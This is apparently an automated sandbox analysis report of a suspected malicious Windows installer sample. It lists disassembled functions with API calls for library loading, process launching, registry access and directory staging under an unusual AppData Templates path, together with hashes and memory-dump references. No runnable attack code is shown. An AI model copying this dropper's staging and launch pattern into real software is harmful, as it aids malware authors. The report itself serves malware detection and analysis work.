API String ID: 1791698881-3916222277
Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60

Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401FBB

Part of subcall function 00404F25: lstrlenA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: bfae0568c449fe0c54a0939f3ae7a6896df299a99818b1744bd7ec33484920ac
Instruction ID: a6d6138a22214a2ec3127db012fcbe8ccdb9873b287714200ab65a7954d0c462
Opcode Fuzzy Hash: bfae0568c449fe0c54a0939f3ae7a6896df299a99818b1744bd7ec33484920ac
Instruction Fuzzy Hash: 93212B72904211EBDF217F648E4DAAE76B1AB45318F30423BF311B62D1C7BC4941DA6E

Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00405817: CharNextA.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,?,00405883,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055CE,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405825
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040582A
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040583E

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 004053EB: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 0040542E

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit, xrefs: 00401629

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit
API String ID: 1892508949-2623163684
Opcode ID: 396cb8d654c4bd1d9b031a888da28658032143c202452067c1c7f2463867fd2c
Instruction ID: 6ea9d176647784ede47dca84986b1d8040ea6f7a989068fde2debc666839409d
Opcode Fuzzy Hash: 396cb8d654c4bd1d9b031a888da28658032143c202452067c1c7f2463867fd2c
Instruction Fuzzy Hash: A2112B35404141ABDF217B650C405BF27F0EA92315738463FF591B22E2C63C0942A63F

Function 0040549D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0079FD48,Error launching installer), ref: 004054C6
CloseHandle.KERNEL32(?), ref: 004054D3

Strings

Error launching installer, xrefs: 004054B0

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 9f0b0f85f0295080a22e5d155a7c66e390f8f607a8e504552004f12f3aafe87f
Instruction ID: 542db3fa263e6c3fd8363e81c561fcb1d1edc85eb607383f0aa2fc0e1be44d1e
Opcode Fuzzy Hash: 9f0b0f85f0295080a22e5d155a7c66e390f8f607a8e504552004f12f3aafe87f
Instruction Fuzzy Hash: 95E0BFF4A002097FEB10AB64ED45F7B7BACEB00645F108561FD10F6190D674A9549A79

Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F25: lstrlenA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000,?), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0,?,?,?,?,?,?,?,?,?,00402FD7,00000000), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00402FD7,00402FD7,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,0078FCF8,771B23A0), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Part of subcall function 0040549D: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0079FD48,Error launching installer), ref: 004054C6
Part of subcall function 0040549D: CloseHandle.KERNEL32(?), ref: 004054D3

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EB3

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 5300586a977f739bb3b95f406a8e475e6bf3f04e18eaf9760632a053cb3b61ce
Instruction ID: f3d89628ed1a2f536a51da31c0d1f3bff78da2cc26dd4d815c67a837da1bf94c
Opcode Fuzzy Hash: 5300586a977f739bb3b95f406a8e475e6bf3f04e18eaf9760632a053cb3b61ce
Instruction Fuzzy Hash: 53016D31904114EBDF11AFA1CD89A9E7B72EF00344F10817BF601B52E1C7789A819B9A

Function 00402482 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024B0
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003,00020019), ref: 004024C3
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: cb8d7e7e292cd3f0bc6c1f59dcd71b3952a721e666c2518bc090900559d161d0
Instruction ID: 6b9a29d885729d806435ba0af982d5db400a82278970f5f8cd94cba27a839736
Opcode Fuzzy Hash: cb8d7e7e292cd3f0bc6c1f59dcd71b3952a721e666c2518bc090900559d161d0
Instruction Fuzzy Hash: EDF0AD72904200AFEB11AF659E88EBB7A6DEB80344B10443AF505A61C0D6B849449A7A

Function 00401DEA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit,?), ref: 00401E30

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit, xrefs: 00401E1B

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit
API String ID: 587946157-2623163684
Opcode ID: b0f1f290dab42d7627ac84af391824cda61e1d1b78d8d453e3c5aed2a9c0ee07
Instruction ID: 340d0feeeb8292155287dfb6c97f983a5cfd8bfca1fa3215745e1e0026b9813b
Opcode Fuzzy Hash: b0f1f290dab42d7627ac84af391824cda61e1d1b78d8d453e3c5aed2a9c0ee07
Instruction Fuzzy Hash: 6BF04632B041006FDB10ABB18D4AF5E27A8AB61319F20493BF141F70C2DAFC88419B18

Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402440
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 5036ecff7da7e931cef0e4d9af925887b92852862d1d3796e4000a238184e6f1
Instruction ID: 3b61e3a0dd356b8eb8c6217664be55b6a4c5c12d426b24930886ed9b9a2887e1
Opcode Fuzzy Hash: 5036ecff7da7e931cef0e4d9af925887b92852862d1d3796e4000a238184e6f1
Instruction Fuzzy Hash: 5911A771905205EFDF14DF64CA889AEBBB4EF11348F20443FE141B62C0D2B84A45DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b63ad44f694a207690e677ec35bda8f999f5426b301403e6904e10af90410016
Instruction ID: 00097469377630013da62b9f7c31fbdee85021c234e60ac5accdaffcc3ed26dc
Opcode Fuzzy Hash: b63ad44f694a207690e677ec35bda8f999f5426b301403e6904e10af90410016
Instruction Fuzzy Hash: BE01F4316242209BF7194B389C04B6A3698E751354F10813BF811F62F1D678DC028B4D

Function 00402308 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033,00000002), ref: 00402327
RegCloseKey.ADVAPI32(00000000), ref: 00402330

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 48c6a4f1ec7a86bc1051c3bdbeac554186010e92678d5b1d819c5a0f771793f2
Instruction ID: 97ae11083f28a0faafd94fb7fe42009bced1e39793468f635283aee611ee1e77
Opcode Fuzzy Hash: 48c6a4f1ec7a86bc1051c3bdbeac554186010e92678d5b1d819c5a0f771793f2
Instruction Fuzzy Hash: A2F04433A00110AFEB10BBA48A4EAAE7269AB50344F14443BF201B61C1DABD4D12966D

Function 0040155B Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010424), ref: 00401579
ShowWindow.USER32(0001041E), ref: 0040158E

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 58339daa48f2abfaa16ef55595ad2450e584a2864855a69756b41114902e3615
Instruction ID: 8b304e13c4ff4e58b2746d459b27b343ece49c0a97bab20a5a043a2c5b6af2c1
Opcode Fuzzy Hash: 58339daa48f2abfaa16ef55595ad2450e584a2864855a69756b41114902e3615
Instruction Fuzzy Hash: DEF0E577A082905FEB15CB64EDC086D7BF2EB8631075445BBD101A3691C2785C08C728

Function 004060A5 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

Part of subcall function 00406037: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040604E
Part of subcall function 00406037: wsprintfA.USER32 ref: 00406087
Part of subcall function 00406037: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 0040609B

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

